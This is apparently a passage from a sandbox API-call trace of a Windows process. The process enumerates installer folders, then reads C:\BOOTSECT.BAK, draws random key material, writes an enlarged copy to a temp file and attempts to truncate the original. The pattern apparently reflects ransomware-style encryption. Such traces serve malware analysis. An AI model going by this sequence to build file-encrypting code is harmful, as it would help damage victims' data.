	[0072.090] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0072.090] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0072.090] FindClose (in: hFindFile=0x1619f39df80 | out: hFindFile=0x1619f39df80) returned 1
	[0072.091] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0072.091] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62)) returned 1
	[0072.091] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0072.091] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758)) returned 1
	[0072.091] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0072.091] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63)) returned 1
	[0072.091] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0072.091] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0072.091] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1049" (normalized: "c:\\588bce7c90097ed212\\1049"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0072.092] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049" (normalized: "c:\\588bce7c90097ed212\\1049"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0072.092] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dec0
	[0072.092] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.092] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0072.092] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0072.092] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0072.092] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0072.092] FindClose (in: hFindFile=0x1619f39dec0 | out: hFindFile=0x1619f39dec0) returned 1
	[0072.092] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0072.092] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a)) returned 1
	[0072.092] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0072.093] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758)) returned 1
	[0072.093] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0072.093] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8)) returned 1
	[0072.156] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0072.156] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0072.156] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1053" (normalized: "c:\\588bce7c90097ed212\\1053"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0072.161] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053" (normalized: "c:\\588bce7c90097ed212\\1053"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0072.161] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e100
	[0072.161] VirtualAlloc (lpAddress=0xc000396000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000396000
	[0072.162] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.162] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0072.162] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0072.162] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0072.162] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0072.162] FindClose (in: hFindFile=0x1619f39e100 | out: hFindFile=0x1619f39e100) returned 1
	[0072.162] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0072.162] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70)) returned 1
	[0072.212] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0072.212] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558)) returned 1
	[0072.212] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0072.212] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19)) returned 1
	[0072.212] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0072.213] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0072.213] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.637] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.243] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.814] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.912] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.978] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.069] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.423] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.666] VirtualFree (lpAddress=0xc000484000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0076.666] PostQueuedCompletionStatus (CompletionPort=0x15c, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1
	[0076.666] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.747] VirtualFree (lpAddress=0xc00047e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0076.748] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x92fbff138, ulCount=0x10, ulNumEntriesRemoved=0x92fbff110, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x92fbff138, ulNumEntriesRemoved=0x92fbff110) returned 0
	[0076.789] VirtualFree (lpAddress=0xc00047c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0076.789] VirtualAlloc (lpAddress=0xc0003fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003fe000
	[0076.790] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x1e, lpNumberOfBytesWritten=0xc000359d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000359d94, lpOverlapped=0x0) returned 0
	[0076.790] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0xc000359d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000359d94, lpOverlapped=0x0) returned 0
	[0076.790] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0076.790] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000359bf4 | out: lpMode=0xc000359bf4) returned 0
	[0076.790] GetFileType (hFile=0x178) returned 0x1
	[0076.790] GetFileType (hFile=0x178) returned 0x1
	[0076.790] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0xc000359c44 | out: lpFileInformation=0xc000359c44) returned 1
	[0076.791] GetFileInformationByHandleEx (in: hFile=0x178, FileInformationClass=0x9, lpFileInformation=0xc000359c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000359c28) returned 1
	[0076.791] ReadFile (in: hFile=0x178, lpBuffer=0xc000042000, nNumberOfBytesToRead=0x2200, lpNumberOfBytesRead=0xc000359b04, lpOverlapped=0x0 | out: lpBuffer=0xc000042000*, lpNumberOfBytesRead=0xc000359b04*=0x2000, lpOverlapped=0x0) returned 1
	[0076.944] ReadFile (in: hFile=0x178, lpBuffer=0xc000044000, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000359b04, lpOverlapped=0x0 | out: lpBuffer=0xc000044000*, lpNumberOfBytesRead=0xc000359b04*=0x0, lpOverlapped=0x0) returned 1
	[0076.944] CloseHandle (hObject=0x178) returned 1
	[0076.945] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000108180 | out: pbBuffer=0xc000108180) returned 1
	[0076.945] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc0000100c0 | out: pbBuffer=0xc0000100c0) returned 1
	[0076.945] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000162001 | out: pbBuffer=0xc000162001) returned 1
	[0076.946] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f47adf2eee67c458e3e5269d5357da7c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f47adf2eee67c458e3e5269d5357da7c"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0077.082] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc0000bdc04 | out: lpMode=0xc0000bdc04) returned 0
	[0077.082] GetFileType (hFile=0x164) returned 0x1
	[0077.082] WriteFile (in: hFile=0x164, lpBuffer=0xc000044500*, nNumberOfBytesToWrite=0x2100, lpNumberOfBytesWritten=0xc0000bdbec, lpOverlapped=0x0 | out: lpBuffer=0xc000044500*, lpNumberOfBytesWritten=0xc0000bdbec*=0x2100, lpOverlapped=0x0) returned 1
	[0077.084] CloseHandle (hObject=0x164) returned 1
	[0077.171] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0077.171] FindFirstFileW (in: lpFileName="C:\\BOOTSECT.BAK\\*", lpFindFileData=0xc0000bda78 | out: lpFindFileData=0xc0000bda78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0077.172] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f47adf2eee67c458e3e5269d5357da7c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f47adf2eee67c458e3e5269d5357da7c")) returned 1
	[0077.173] SetEvent (hEvent=0xfc) returned 1
	[0077.173] SetEvent (hEvent=0x188) returned 1
	[0077.173] VirtualFree (lpAddress=0xc000474000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0077.174] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.249] SetEvent (hEvent=0x188) returned 1
	[0077.249] SetEvent (hEvent=0xfc) returned 1
	[0077.249] VirtualFree (lpAddress=0xc000470000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0077.250] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.323] SetEvent (hEvent=0xfc) returned 1
	[0077.323] SetEvent (hEvent=0x188) returned 1
	[0077.323] VirtualFree (lpAddress=0xc00046c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0077.323] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.595] SetEvent (hEvent=0xfc) returned 1
	[0077.595] SetEvent (hEvent=0x188) returned 1
	[0077.595] VirtualFree (lpAddress=0xc000466000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0077.596] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.687] SetEvent (hEvent=0xf0) returned 1
	[0077.687] VirtualFree (lpAddress=0xc000460000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0077.687] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.813] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.979] SetEvent (hEvent=0xf0) returned 1
	[0077.979] VirtualFree (lpAddress=0xc000458000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0077.979] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
